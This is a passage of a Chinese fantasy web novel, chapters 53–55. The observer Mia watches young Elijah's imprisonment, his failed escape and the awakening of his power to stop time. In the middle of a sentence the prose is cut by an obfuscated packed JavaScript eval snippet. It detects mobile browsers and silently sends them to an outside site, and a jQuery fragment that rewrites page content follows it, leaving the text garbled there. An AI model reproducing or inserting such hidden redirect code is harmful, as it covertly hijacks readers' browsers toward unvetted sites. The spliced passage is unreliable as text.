“真不知道你是怎么变成后来那副模样的。”米娅喃喃自语,毫无疑问,小时候的以利亚比以后的他更讨人喜欢,以至于她看着这副小小的身躯,指责的话都说不出口。 她等了很久,时间又开始缓缓流动。 而这一次,她被困在了这间房间。 日升月落,时间不再跳跃,按照既定的速度缓缓流动,房间中的人来来往往,只有她出不去。 这里成了她的监牢。 第几百次尝试从门口出去又被无形的墙挡住之后,米娅放弃了挣扎。 她坐在那张三脚凳上,确切来说,是假装坐在三脚凳上。 现在她不是实体,只是一个旁观记忆的意识,就像她第一次接触到那支羽毛笔时一样,她是一个旁观者,这里的一切她都触碰不到,也没有人发现她的存在。 她看着少年以利亚在镜子面前练习微笑,虽然进展缓慢,但他从未放弃,大约花了一个月的时间,他看到了练习的成效,他的笑容终于变得自然起来。 但如果仔细看的话,还是有些僵硬。 这时,少年也会有几分自暴自弃,她能感受到少年不解的心情,为什么对一个普通人而言最简单不过的事情,他却怎么都做不到呢? 看得多了,米娅甚至开始同情起他来,回想到以利亚在自己面前的样子,她想告诉他,不过就是笑,你以后能够轻易做到。 只是你将会自己选择不笑了。 大多数时候,除了少年之外,只会有两种人出现在这间房间,一是打扫房间的女仆,二是庄园的管家,女仆自不必说,管家往往是为他带来庄园主人的吩咐。 从他们的对话中,米娅明白了少年现在的处境。 他的母亲已经过世,父亲是赫尔西岛的领主,还有一个姐姐,嫁给了布里斯帝国的雅克亲王,但是在三年前难产死了,他有两个外甥,如今都在帝国首都绿恩岛的亲王府邸中。 这就是所有的赫尔西家族成员了。 赫尔西家族一向人丁凋零,米娅在登上赫尔西岛之前,曾做过详细的调查,这是她早就知道的事情。 而且她还知道,在未来,罗尔也会死于以利亚之手,于是赫尔西家族又少一员。 他杀死罗尔的理由还是—— 罗尔变成了怪物,他很痛苦,死亡反而是解脱。 神明的祝福,究竟是荣耀,还是诅咒? 米娅坐在镜子前,镜子里没有她,但她仿佛能看见自己沉重的神情。 “小主人!” 重重的敲门声从门口响起,每一下都像是用尽了全力。 “小主人!” 门外的人还在不停地敲门,只是他的呼唤注定得不到回应,这一天清晨一早,少年就出门去了,他没有告诉女仆和管家,谁也不知道他去了哪里。 房门被人撞开。 米娅在心烦意乱之,看到了来人脸上悲痛的神情,是庄园的管家,他看到房间内空无一人,又着急地退了出去,大喊着女仆的名字,吩咐她们赶紧去寻找少年。 乌云笼罩着天空,米娅站在窗前,看见庄园中来来回回走动的人们,每一个的脸上都充满了悲伤与不安。 有什么不可挽回的事情发生了。 傍晚时分,消失了一天的少年终于出现。 他的眼睛很红,似乎刚刚哭过,管家跟在他的身后,偷偷抹着眼泪,悲伤的氛围感染了米娅,她的焦躁不安暂时被压制下去。 她飘到少年身边,盯着少年的侧脸,少年的嘴角下垂,是悲伤的形状,长长的睫毛颤抖着,如风中的蝴蝶。 “小主人,请节哀,领主大人只是回到了神的怀抱。”管家弯下腰,哽咽着声音劝慰他,可是他的胸膛也在微微颤抖,让他的安慰听起来毫无效果,反而加重了悲伤的情绪。 “神的怀抱……”少年低声呢喃,然后向管家深深鞠了一躬,“这些日子还要多辛苦你。” 米娅愣住,从他们的对话中不难听出,以利亚的父亲,赫尔西岛的前任领主,死了。 怎么会? 她仔细回想着那一天听到的男人的声音,响亮有力,中气十足,绝非将死之人的声音,他是遭遇了什么意外吗? 米娅只能如此猜测。 接下来是一段兵荒马乱的日子,领主的死让整个赛欧庄园陷入了前所未有的低迷之中,压抑在每一个人的心头蔓延,压得人喘不过气。 在此期间,在众人小声地议论之中,米娅得知了前任领主死亡的真相。 他是自杀的,用一柄锋利的长剑,划破了自己的喉咙。 同时,她还听到了一个此前从未听说过的故事,关于赫尔西家族的诅咒——每一任赫尔西家族族长,都会死于四十岁之前。 不止一个人怀疑过,这背后有着一场针对赫尔西家族的阴谋,但当人们研究过每一任族长的死因之后,反而打消了这个念头。 他们的死因千奇百怪,有死于战场的,有死于谋杀的,有自幼身体就不好的,有突然得病的,死法千奇百怪,很难想象什么势力能有这样的实力,将阴谋持续近千年。 以利亚的父亲,还有半个月就到了四十岁生日。 人们都以为他能打破这一魔咒。 然而他却为魔咒增添了一重新的死法,自杀,在以前还从未出现过。 得知了这个令人震惊的消息,米娅的第一反应是,以利亚现在多少岁? 好像是三十左右,离四十岁还有些年头。 漫长难熬的等待之后,不速之客来到了赛欧庄园,精致贵重的礼服裹着一个年轻英俊的卷发男人,米娅一眼认出了他的身份,因为男人有一张和莱森很相似的脸。 管家对他的称呼证实了米娅的猜测。 亲王殿下。 突然出现的陌生男人,就是传说中莱森和罗尔的父亲,布里斯帝国的雅克亲王。 在他身后,一个小小的身影路都走不稳,小心翼翼地拽着他的衣角,胖嘟嘟的脸上一双漂亮的圆眼睛,好奇地打量着周围 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不知道孩子看到了他的笑容,会是什么反应。 米娅不禁为他揪心,希望一切如他所愿。 然而,少年的努力终究是白费了。 他的笑容甚至还没出现,就被另一个人强行打断。 雅克亲王挡在了他们中间,将小小的孩子完全隔绝在他身后,可是没人会因此指责他,因为他神情警惕,完全就是一副护犊的样子。 于是少年以利亚扬起的嘴角慢慢放了下去,他仰起头,看着亲王,对他行了一个完美到无可指摘的礼仪,“亲王殿下前来所为何事?” 很难想象这样的礼仪与话语出自一个十岁的少年,雅克亲王一脸可惜地望着他,“我还以为你会叫我姐夫……算了,既然叫了殿下,我也就不废话了,公事公办吧。我是带着陛下的旨意而来,陛下和大神官一致认为,你的年纪尚小,无法胜任领主一职,所以任命我临时作为代领主,暂时管理赫尔西岛,直至你成年之后。” “亲王殿下,不可以。”少年以利亚目光瞬间变得尖锐,但他还没来得及说话,一旁的管家已经提出了异议,“陛下和大神官阁下难道忘了,赫尔西家族的权柄,是数百年前由神祇直接赋予,不可更改。” 换句话说,赫尔西岛这个地方的领主,只能是赫尔西家族的人。 米娅还是头一次听说这件事,听起来像是贵族牵强附会的说辞,但自从看了赫尔西家族第一任族长的经历之后,她知道这是真的。 皇室知不知道很难说,但大神官一定清楚。 雅克亲王眼中燃起怒意,“你们大可放心,由神赋予的权力,即使是陛下和大神官阁下也不会冒犯,我只是代为管理,最终领主之权一定会回到赫尔西家族,我以正义之神的名义起誓。” 布里斯帝国最高的誓言,足以安抚躁动的人心。 “亲王殿下,莱森也会随您一起留在赫尔西岛吗?” 少年好像并不在意领主之位的归属,他看向雅克亲王的身后,孩子紧张地站在那里,听到了自己的名字,小心翼翼地探出个脑袋。 他又看到了少年那张严肃冷漠的脸,没有任何笑意,于是他缩了回去。 “是的。” “我明白了,我同意。” “小主人!”管家声音急切,谁都听得出来其中有诈,他想说,不能同意,却找不到合适的理由。 雅克亲王嘴角扬起一抹傲慢的笑,“以利亚,作为长辈,我先教你第一课吧,陛下的旨意,还轮不到你同意,你应该说,臣谨遵旨意。” 少年却也不会任人欺负,他看过去,眼神冰冷,“如果是陛下亲自来了,我会很乐意说这句话。” 米娅笑了起来,她从这个十岁少年的身上,看到了很多年后他的影子。 但她很快就笑不出来了,从后面发生的事情来看,少年的锐气即将受挫。 第一次,米娅希望,回忆中的时间流得慢一点儿。 但那一天终于还是到了,以一种比她想象中更惨烈的方式。 53. 少年(三) 雅克亲王的到来让一切都不一样了。 他接管了赫尔西岛的大小事务,那些本来由以利亚的父亲调度的人手,都被他以各种各样的理由解雇。 很快,领主府成了一具空壳。 同样很快,陌生面孔填了进来,大多数用帝都口音讲着一口流利的布里斯帝国官方语言。 就连赛欧庄园内部,也出现了很多陌生面孔。 为庄园工作了多年的女仆被解雇,雅克亲王甚至带来了新的管家。 原来的管家在以利亚的争取之下保住了工作,但所负责的事务大大减少。 怨声四起,又被雅克亲王从帝都带来的士兵镇压。 一切都在向着无可挽回的方向发展,皇室终于找到了绝佳的机会插手赫尔西岛内务,他们的下一步,是彻底将赫尔西家族架空。 岛上的八卦小报如是说。 不入流的报纸,偶尔也会猜到真实情况。 女仆将这份报纸放在桌上时,米娅仔细将其中每一个字都读了一遍,充斥着阴谋论和小道消息,有些消息荒唐到让人啼笑皆非。 但是他们得到了一个正确的结论。 关于结论的内容,她成了感受最深的一个。 因为她的藏身之地又换了。 从古堡中的房间,换到了赫特高塔的顶层。 好熟悉的变化,只是这一次,他们从主动变到了被动。 雅克亲王下令,将以利亚的卧房搬到了赫特高塔之上,理由是,赫特高塔是赫尔西家族历史的起点,以利亚作为目前唯一一个赫尔西家族成员,有必要在这里感悟历代先祖的精神。 当然,傻子都知道,他是被囚禁了。 门口守着士兵,他无法出塔,每天与外界接触的机会,只剩下了两个伺候他的仆人,其中一个米娅也认识,是那个叫安妮的女仆。 她因为进入赛欧庄园工作的时间不满一年,幸运地没有被辞退,但又因为被新人排挤,于是分到了这么一个看起来很差劲的工作。 幸好她自己不这么觉得。 能再见到小主人,安妮喜出望外。 她会为他讲述外面发生的事情,为他带来外面的零食,她还试图瞒着守卫将以利亚带出高塔,但被以利亚拒绝了。 如果日子继续这样下去,也许会很难熬,但总有结束的一天。 以利亚是有史以来最强大的渡水者,他的能力与生俱来,他只是还不会运用,一旦他掌握了这股力量,别说高塔外的守卫,就是军队来了,也无法阻止他。 而他正在不停地尝试,一遍又一遍,为了不引起雅克亲王的警觉,他要将力量压到最低,却还要利用它达成某项目标。 比如移动一个茶杯,比如削去一缕头发。 米娅也做过类似的训练,她有很多心得可以告诉他,能够让他少浪费些时间,但以利亚听不见她说的话。 于是她只能自言自语。 说完了之后,看着毫无反应的少年,又想,我为什么要帮他。 事情的转折发生在三个月后,寒冷的冬季早晨,安妮和另一个仆人照例过来,另一个仆人收了安妮的钱,识趣地离开了顶楼,留给他们单独说话的空间。 往常这个时候,安妮会先说一说外面的趣事,这一次却很不相同,她的每一根发丝都在展示着她的惊慌失措。 她说管家探听到,其他岛屿的领主听说了赫尔西岛上发生的变故,联手向皇室施压,希望皇室能尽快将领主之位还给以利亚。 此事闹得沸沸扬扬,雅克亲王的脸色很差,他下定了决心,要杀了以利亚以绝后患,最近就要动手。 “小主人,我们要救您出去。”说到最后,惊慌从女仆的脸上消失,她的神情逐渐坚定,无畏的眼神看着少年。 “为什么?” “不离开,您会死的。”安妮不明白他的问题,以为他不同意,着急说道。 “不,我是想问,你为什么要参与进来,你知道这件事有多危险吧,他们救我,是因为忠于我的父亲,忠于我的家族,可是安妮,你不用冒这个险。” 他在劝她不要淌这趟浑水,然而米娅只看到了女仆的眼神愈发坚定,她很好奇,少年以利亚究竟知不知道,说这样的话,只会造成相反的结果呢。 安妮愣住了,她似乎从来没有思考过这个问题,她想了很久,想到另一个仆人来催促她离开时,终于想出了答案。 女仆将一个小药瓶放在了桌上,贵重精致的药瓶绝非一个女仆能买得起,“您还记得它吗,是您送给我的,当时我就想,您真是个好人。现在这个想法依然没变,所以说,没有什么特别的理由,我只是觉得,一个好人,不应该这么轻易死去。” “你——”少年神情怔忡,眼中浮现感动。 他想说些什么,门口守卫的士兵在一楼敲打着栏杆,发出很大的动静,“时间到了,还在磨蹭什么!” 另一个仆人闻声,拽着安妮的胳膊就往外走,少年的话也就没能说出口。 他们走后,赫特高塔中又重新恢复了寂静,外人的声音都消失不见,只有少年面带茫然的喃喃自语,“好人?” 当天夜里,以利亚父亲的老部下展开了行动。 米娅站在四楼的窗前,四楼的房间还没有堆放以利亚不知从哪儿搜集来的奇奇怪怪的物件,显得很空旷,从窗户向下望去,刚好可以看到高塔门前的空地和小径。 赫特高塔与庄园之间曾经是一片精心栽培的玫瑰花园,以利亚搬过来之后,高塔成了禁地,花园亦无人大打理,长满了杂草。 夜深人静之时,也是人最疲惫最懈怠的时候,接连几个月无事发生降低了守卫的警惕,米娅看见,其中几个人甚至靠墙打起了盹儿。 这是一个没有月光的夜晚,厚重的乌云将浩瀚的星空与天幕下的岛屿和海洋隔绝开来,寒风呼啸而过,吹得高塔呜呜作响。 一场大雨即将到来,悬崖之下的海浪似巨兽怒吼,不断拍打着岩石峭壁。 高塔的外围,每隔几步挂着一盏灯,在风中摇来晃去,映照着地上的影子时大时小。 “这什么鬼天气。” 就在士兵连声抱怨之际,砰的一声,其中一盏灯的灯罩不知怎么突然碎裂开来,没了灯罩,风一吹,火光瞬间熄灭。 “谁?” 士兵举起兵器,对着黑黢黢的旷野,但他们只听到了风声。 “没事没事,风太大了,不知从哪儿吹来的石子打破的。”前去查看情况的士兵得出结论,众人悬着的心放了下来。 又是砰的一声,另一盏灯也遭受了同样的命运。 士兵再次紧张起来。 “树枝,是树枝。” 一惊一乍之间,他们更加疲惫,有人不满地大叫:“我不管了,我要进去休息,这么冷的天,其他人在壁炉前烤火喝酒,我们却要在这里守着个小孩子,算什么事。” “不准动,这是亲王殿下的命令。” “谁的命令也不好使!” 眼看着楼下就要吵起来了,又是接连几声巨响,噼里啪啦,像烟花炸开一样,所有的灯几乎在同一时间都熄灭了。 黑暗笼罩大地。 先是死一样的寂静,然后是一声高喊:“敌袭——” 刀兵相接的声音从下面传来的同时,高塔的大门被人劈开,米娅走到门口,从螺旋状的楼梯向下望去,管家身着铠甲,拿着武器,冲进了高塔之中。 在他的身后,是不停交锋的人群。 血腥气从楼下飘了过来。 头顶的楼梯传来轻微的震动,米娅出去一看,整装待发的少年沿着楼梯向下跑去,他的动作迅捷,不像是个十岁的少年所能拥有,几息之间就跑到了管家身边。 “小主人,快跟我走,庄园那边已经听到了动静,我们必须马上离开。”管家一把抱起少年,将他放到另一个人的背上,“他的速度很快,能带您跑出去,到了西摩港,会有人接应你们。” “你呢?”少年问。 管家对他露出一个笑脸,“我要在这里拦住敌人,您放心,他们不是我的对手,我晚一点儿就会赶过来,和您一起离开。” “不行,你跟我一起走!”少年叫道。 管家骗不到少年,他根本不是他们的对手,留在这里就是打定了主意要用自己的性命为少年搏得逃命的时间。 “不能再犹豫了,快走!” 一声怒吼,背着少年的人脚下发力,像一支离弦的箭冲了出去。 米娅眼前一花,回过神来,她飘在半空中,正随着狂奔的人一起移动,看来在这场回忆之中,她不能离开少年太远的距离。 漆黑一片的高塔中传来高呼,“他跑了,快追!” 黑暗之中,火光突然从身后亮了起来,米娅回头一看,不知是谁放了一把火,在大风的助力下,火光迅速蔓延,将整个赫特高塔笼罩其中,就连周围的荒草亦不能幸免。 古堡被这边的动静惊醒,明亮灯光渐次亮起,杂乱的脚步声赶了过来,起初他们的目的地是高塔,当听到守卫高呼以利亚跑了的时候,分兵四处搜寻。 其中一支队伍看到了奔跑的人影,于是士兵向这边汇流,弓箭搭在弦上,箭雨落下,向着原野上孤独的身影射去。 少年被牢牢束缚在那人的背上,回头望去,火光照亮了赫特高塔中的一切。 管家苍老的身影正在被火光吞噬,他手中拿着火把,身上无数的伤口向外淌着鲜血,但他的脸上却露出了笑容。 火舌舔过他的脸颊,彻底将他吞没。 狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088035|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风呼啸中,米娅听到了压抑的哭声,来自于少年的喉咙,人间炼狱一般的场景倒映在他棕色的眼眸之中,泪水自眼底涌出。 她下意识想要张开翅膀,挡住漫天的箭雨,也挡住少年的视线,但她忘了,这是在回忆之中,她什么也做不到。 第一次,她恨起这场回忆。 背着少年的人显然也是渡水者,传闻中有一类渡水者拥有极强的身体素质,能够日行千里,速度既是他们的武器,也是保命的法宝。 此人多半就属于这一类。 箭雨落下的那一刻,只见他突然停顿了一瞬,脚掌落到地面上,用力向后一蹬,高大的身躯如一只雄鹰飞了起来。 他跃到半空中,与箭雨擦肩而过,腿脚在空中仍在发力,一下子窜出很远去,又落到地面上,如此往复三次,拉开了追击者与两人之间的距离。 杂乱的脚步声渐渐听不清了,风声又成了主要的旋律,靠近海边,风浪之声更大,将少年痛苦的哭泣完全掩盖。 一刻也不停,他们向港口的方向赶去。 风急浪大的夜晚,海面上没有远航的游船,船只一个挨一个,挤在港口之中,灯塔的光一闪一闪,是黑暗的港口唯一的光源。 雨终于下了起来。 冰冷的雨点落到地面,溅起一朵朵雨花。 如同每一个雨夜的西摩港,这里安静无声,人们躲进了温暖的家中,静待大雨消散。 他们停了下来。 少年的双脚终于回到了地面。 少年看到了码头上停泊的一艘小船,在风雨之中浮浮沉沉,显得那般无助,但船舱中始终有微弱的灯光漏出来,闪闪烁烁,却不曾熄灭,仿佛希望的模样。 经过雨水的冲刷,地面又湿又滑,随着翻滚的浪花而涌起的鱼腥味扑面而来,为这荒凉的夜晚增添了几分腐朽的气息。 船边一个瘦弱的影子,借着微弱的灯光向少年招手,“小主人,这边。” 是女仆安妮。 看到少年平安出现在自己面前,她满脸都是喜悦,但喜悦只持续了很短的时间,她直直地望向少年身后,惊恐出现在她的脸上。 少年回头看去,背他过来的男人无声倒在了地上,血水从他的腿上不断涌出,在他的身侧,几只羽箭掉落在一旁,是被他刚刚拔出来的。 他的腿中箭了,他却强忍着疼痛,过度使用了他的能力。 女仆跑了过来,从怀里掏出纱布和药瓶,结结巴巴地叫道:“药,有药,我来,小主人,您快上船。” 那个药瓶,还是少年送给她的,里面的药她一直没舍得用,本来想带在路上以防万一,没想到这么快就派上了用场。 她的手在颤抖,这么多血,完全超出了她的认知。 少年红着眼睛推开她,“我来。” 此刻,他反倒成了最冷静的一个。 米娅站在他的身边,看着将纱布一圈一圈缠好,但是雨水又很快将纱布打湿,他们想将男人扶到船上去,至少那里还能遮风避雨。 然而男人已经完全失去了意识,他的脸色苍白无比,身体也逐渐变得僵硬。 米娅能够感受到,他的生命正在流逝。 如果是二十年后的以利亚,他一定可以救他,可是现在的他还做不到,只能眼睁睁看着男人停止了呼吸。 安妮在呜咽,少年却站了起来,连悲痛的表情都从他脸上消失了,米娅痛心地发现,现在的他,越来越接近二十年后的以利亚。 “为什么要救我?” 他向哭泣的女仆发出疑问。 女仆的哭声霎时间停止,听着少年的声音,仿佛有一只手揪住了她的心,她呆呆地看过去,却看见了少年过分孤寂的背影。 “我值得你们付出这么大的代价相救吗?” 少年又说。 虽然是疑问,但他心里早已有了答案,所以这是一句自嘲式的话。 女仆直觉不对,于是扑了过来,抓住他的手臂,“值得。” 可是她也说不出个所以然来,只能重复她在高塔中的话,“您是个好人,要是连您也不值得,我就不知道还有谁值得。” 小船上的灯火仍在一晃一晃,女仆终于想起来了什么,她拉着少年向小船的方向走去,“我们快走,离开这里,一切都会好起来的。” 真的吗? 米娅垂下眼眸,不忍心再看下去,她知道,少年也看了出来。 管家所谓的接应的人,当然不会只是一个柔弱的女仆,在那艘船上,应该还有真正能带着少年离开的人,至少得是一个渡水者。 可是他们耽搁了这么久,船上却一点儿动静都没有,甚至他们的周围,这座死寂的港口,也一点儿动静也没有。 这里不是他们的生路,而是绝路。 54. 少年(四) “已经走不掉了。” 少年慢慢走到船边,他看见一个高大的人影从船舱中站了起来,手中的刀闪着寒光,劈开了船舱的门,将女仆最后的希望也毁灭。 就像是一个讯号,灯塔的光照了过来,港口上埋伏的人也一个接一个冒了出来。 管家他们的计划泄漏,注定不会成功。 “他们收买你用了多少钱?” 少年看着面前的人影,他认识他,他是父亲身边的下属,向来忠心耿耿,不管是父亲还是管家对他的评价都很高。 “三十枚大陆时代的银币,亲王阁下非常慷慨。” 那人神色复杂,他盯着少年稚嫩的脸庞,遗憾和恨意相继出现,“小主人您出身不凡,恐怕无法理解钱对我们来说有多重要,不过我也可以跟你说句实话,钱只是一方面,我愿意投靠他们,还有一个原因是因为你!” 少年沉默不语。 “你这个叛徒!”女仆总算听明白了现在的情况,冲过来向那人吼道。 那人不耐烦地举起手中的刀,对着女仆砍下,挥到一半,刀尖停在了女仆头顶不足一指的距离处,有一股力量阻止了他。 他惊讶地向下看去,居然是少年握住了刀身。 他没有留力气,这一下本该劈开少年的手掌,刀刃却在少年的掌心停住了。 恐惧从那人的脸上一闪而过,他咽了一口口水,将刀收了回去,却还强作镇定,“好,我不杀她,您看,我早就说过,您是个怪物,不该活在这个世界上。” 第一次离死亡如此接近,女仆被吓得腿软,但一听到他这句话,她又像打了鸡血一样,大声否认道:“你胡说!” 说完,她又转过头,对少年叫道:“小主人,别听他胡说,您怎么可能是怪物。” 那人越听越不耐烦,又不敢再举起刀,暴躁地叫道:“你知道什么!如果不是他,大小姐不会外嫁,也就不会难产而死。还有领主大人,在他出生之前,领主大人谦和公正,高尚坚定,他根本不信那什么见鬼的诅咒,结果他一出生,一切都变了,如果没有他,领主大人根本就不会自杀。” 他的声音越来越高,越来越响亮,简直要将世间一切声音都盖过去,震得女仆耳朵嗡嗡作响。 安妮直愣愣地盯着他看了一会儿,她只是一个什么也不知道的女仆,那人说的内容对她来说太过陌生,她理解不了。 女仆只好转过头去,看向少年所在的位置。 狂风在港口汇集,吹掉了她的头巾,一头秀丽的亚麻色长发随风起舞,遮住了她的视线,她看不见少年的表情,只能透过发丝的缝隙瞥见他垂在身侧紧握的拳头。 安妮眼中一热,又想起了那天的场景,如果不是少年的帮助,她还不知道会遭受怎样的惩罚,她没有见过那人口中所谓谦和公正的领主大人,当她进入赛欧庄园的第一天,就被人提醒过,领主大人喜怒无常,一定要小心谨慎。 但少年对他们的和善却是有目共睹,庄园中的奴仆和侍卫都很喜欢他,即使他也有一些奇怪的地方,比如不会笑,但那并不妨碍人们从他的言行中感受到他的善意。 想到这里,愧疚冒了出来,她怎么能因为别人的一句不知真假的话,推翻自己一直以来的真实感受呢。 米娅站在三人中间,雨点穿过她透明的身体,没人知道她的存在,所以她能近距离仔细观察着男人的神情。 他的嘴角在微微颤抖。 他就像一个演说家,越说越激动,越说越坚定,最后到了控制不了自己情绪的地步。 他坚信自己说的话吗? 未必。 米娅看着男人的眼睛,至少在一开始,他的语气中还有着深深的不确信,那些指责,或许出自他的猜测,或许出自一些传言,都是未经证实的。 但是说到后面,当用来佐证的猜测越来越多,他的语气也就越坚定,他甚至为自己的洞察而骄傲,即使这些都是没有根据的猜测。 米娅摇了摇头,哪怕她和以利亚有仇,也无法赞同男人的做法。 他们好像都忘了,纵使眼前的少年有着与年龄不符的早慧成熟,他也只是个十岁的孩子罢了。 将悲剧都怪到他的头上,对他也太不公平了。 更何况,以米娅这几个月的见闻来看,少年并没有做错任何事情。 “我才不会信你的!” 埋伏的人群渐渐靠近,拉长的影子向他们聚了过来,女仆大叫一声,趁男人不注意,向他撞了过去,她还想搏一把,死死地盯着小船。 上船去,只要上船去,一切都会—— “不!” 沉默了很久的少年终于发出了嘶哑的吼声。 一柄骑士长枪从人群之中斜刺出来,划破雨幕,刺入了女仆的后背,洞穿了她单薄的身躯,就连她身前的男人也没有预料到,长枪挟雷霆之势,枪尖甚至在他身上也戳了个窟窿。 这一下猝不及防,只有米娅看见了,人群之后,雅克亲王骑马刚刚赶到,在他身边,是护卫他的皇家骑士。 这一枪,出自他的授意。 准确来说,一左一右两个骑士,各出了一枪,一个对着女仆,一个对着少年。 少年的身体同样被长枪洞穿,可是他却仿佛没有发现一样,甚至不曾低头看一眼,只是死死地盯着女仆的背影。 杀意从他身上迸发,一阵寒气随着雨水落下,在场的众人不由自主的地颤抖起来,就像只穿着单薄的衣服进入冰山中一样,他们感到了难以抑制的冷,牙齿打战,手中的兵器也拿不稳,纷纷落到地上。 骑士从马背上跌了下来,在此之前,他们用尽最后一点儿力气,将长枪拔了出来。 安妮像失去了支撑的纸片一样倒了下去,血从她洗得发白的衣服上浸出来。 少年还站着,黑洞洞的伤口出现在他身上,血液在其中翻涌,却没有流出来。 像极了那个时候。 米娅别过眼去,无能为力的挫败感涌上心头,几乎要将她淹没。 作为一个局外人,她竟也感受到了那股刺骨的冷意。 她曾经体会过这般绝望的心情。 海浪拍打着船身,浪花高高溅起,在达到顶点的那一刻,忽然变得静止,风声雨声同时消失,天地都安静了下来。 米娅惊讶地回头,看到摔倒在地上的雅克亲王惊恐的眼神,他的手掌按在湿滑的地面,挣扎着将上半身抬了起来,溅起的泥浆落到他干净的礼服上。 他像一座滑稽的雕塑,停住了所有的动作。 还有周围的所有人,他们全都顿住了,就连雨点,也在半空中停住。 米娅穿过一粒粒雨,来到寒意的中心。 这里只有一个人还在呼吸,世间只剩了他的呼吸声。 米娅静静地看着他,眼前的景象让她感到了一丝熟悉,她感受着力量波动的痕迹,已经很接近以后的以利亚了。 她想到了那个清晨,同样是在西摩港中,她假意要离开之时,为了救莱森故意被尤妮所伤,以利亚神不知鬼不觉地出现在了甲板之上,在所有人都没有反应过来之时,打败了尤妮,救了她。 那时的情景,是不是和现在有一点点像呢? 只是当时,就连她也没看清,他是怎么做到的。 而现在,看着周围暂停的一切,她终于明白了。 他的力量是什么。 时间。 最神秘最危险的力量。 据说时间一旦陷入混乱,哪怕是神祇也难以从时间的漩涡中脱身。 而现在,一个小小的人类,竟然能掌控时间。 少年动了。 停滞的黑夜里,他是唯一的生动。 被雨水打湿的衣服紧贴着苍白的肌肤,勾勒出单薄纤细的身躯,黑洞洞的伤口里,光线进不去的地方,传来奇怪的声音,像是血肉在蠕动。 很快,随着他走到雅克亲王面前,胸前的伤口竟然愈合了,只留下一道新生的疤痕,狰狞恐怖。 少年捡起了掉在地上的长枪,雨声再起之时,枪口已经对准了雅克亲王的心脏。 “不要!”稚嫩童声止住了少年的动作。 是莱森。 三四岁的稚子,身上还穿着睡衣,头发也乱糟糟的,大概是自己偷偷跟过来的。 雅克亲王气急败坏的呵斥道:“莱森,你怎么来了,快回去!” 金发的孩子被他吼得浑身一颤,但是没有动,他张开双臂,双手紧捏,将自己的父亲护在身后。 “让开。”少年沉声道。 那声音冰寒刺骨,如同恶魔的低语,孩子因恐惧而颤抖起来,泪水在眼底蓄积,但他始终没动,扬起稚嫩的脸庞,坚定地摇了摇头。 米娅不禁为他捏了把汗。 以利亚会怎么做? 他会在一个孩子面前,杀死孩子的父亲吗? 哪怕这位父亲罪有应得,这样的场景对一个孩子来说也太残忍了。 而且,他自己也还算是一个孩子呢。 如果可以的话,她都想替他动手了。 这念头一出,米娅自己也吓了一跳,正如以利亚曾经说过的一样,她陷入回忆太深了,她的情绪被回忆牵动,竟冒出了一些离奇的想法。 米娅按住胸口的位置,将狂乱的心跳恢复平稳。 她早就知道以利亚的选择不是吗,二十年后,雅克亲王依旧还活着。 果然,僵持了片刻之后,少年扔下长枪。 男人松了一口气,他捡回 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米娅像游魂一样飘荡在空中,俯视着少年,她试图靠近,却被无形的壁障阻碍。 陌生的港口,不是西摩港,远处的街巷也与赫尔西岛不同,就连来来往往的人群,也说着不同的语言。 小船和女仆不知去向,只有少年孤身一人,似乎怎么也融入不了这个陌生的世界。 一整个白天,少年一动不动。 偶尔有人驻足看他,一瞧见他冷漠的表情,便赶紧低下头走了。 直到夜幕降临,一个水手打扮的男人走过来,扔给他一块干巴巴的面包,嘴里叽里咕噜说着什么,他才终于有了反应,将面包扔回去,摇了摇头。 男人不满地大叫,还是叽里咕噜的声音。 少年又没了反应。 男人挠了挠头,像是想到了什么,再次开口,用蹩脚的奥维伊群岛通用语说:“你别怕,这就是块普通的面包,不信你看——” 他掰下一小块扔进嘴里,嚼巴嚼巴咽了下去。 然后跳上木箱,强硬地将面包又塞回少年手中,“我看了你一天了,你是真一点儿东西都没吃啊,人怎么能不吃东西呢,饿着肚子还怎么赚钱?” “我不需要。”少年推回去。 “嘿,你这人怎么说不听,非要我来真的是吧。” 男人伸出长满老茧的手,一只手按住少年的肩膀,一只手将面包往他嘴里塞。 少年冷冷地瞥了他一眼,抬手握住他的手腕。 男人的动作一下子停住了,他发现自己的手臂完全动不了,就像被冰块冻住了一样。 他惊讶地看着少年,上下打量了一下,“力气这么大,你是渡水者?” 少年犹豫了一会儿,还是点了下头。 男人惊喜道:“唉,我还是头一次离一个渡水者这么近,我还以为你们都是高高在上呢,你怎么在这坐了一整天,让我猜猜,该不会在执行什么秘密任务吧……哎呀,我是不是打扰到你了。” 男人自顾自地说着,没注意到少年的眉毛越皱越紧。 米娅托腮看着,忍不住笑了起来,她甚至能想象到少年此刻心里在想什么——外面的人,好聒噪啊。 他出身于贵族世家,视喋喋不休为无礼之举,哪见识过这场面。 可是当男人看向他时,他又将眉毛舒展,因为他能感受到男人出于善意的关心。 “没有。”少年淡淡地否认,“我坐在这里,只是因为无处可去。” 男人愣住,“你的家人呢?” 父母双亡,姐姐也去世了,如今世上有血缘关系的,只剩下两个三岁的外甥,还因为姐夫的缘故,关系也不亲近。 这样的遭遇,不管放在怎样的人家,都称得上不幸,少年却像在说别人的事一样说了出来。 男人不知所措,安慰人不是他的强项。 他想了半晌,忽然眼前一亮,“既然无处可去,要不,你跟我一起跑船吧。” “不……”少年想都没想就拒绝。 男人打断他的话,振振有词道:“你放心,我工作的商船船长是我叔叔,没人敢欺负你,而且船上都是普通人,你是渡水者,也没人欺负得了你。我们这艘船啊,几乎要跑遍每一座岛屿,说不定你会发现某座岛特别好,就在那里安家了呢。” 少年沉默了,看他的表情,他被说动了。 别说他,就连米娅也有点儿心动,说起来,从出生到现在,除了奥修斯岛和赫尔西岛,她还没去过别的地方。 奥维伊群岛很大,每座岛亦不尽相同,若是能去每座岛都看看,该是多么的有趣啊。 “好。” 少年最终答应了他。 55. 少年(五) 商船破开浪花,行驶在一望无际的大海上。 大地崩裂以后,航行在每一个奥维伊群岛居民的生活中都占据了极其重要的地位。 原本完整的陆地被分割成了或大或小的岛屿,贸易由船只维系,亲人被海水阻隔。 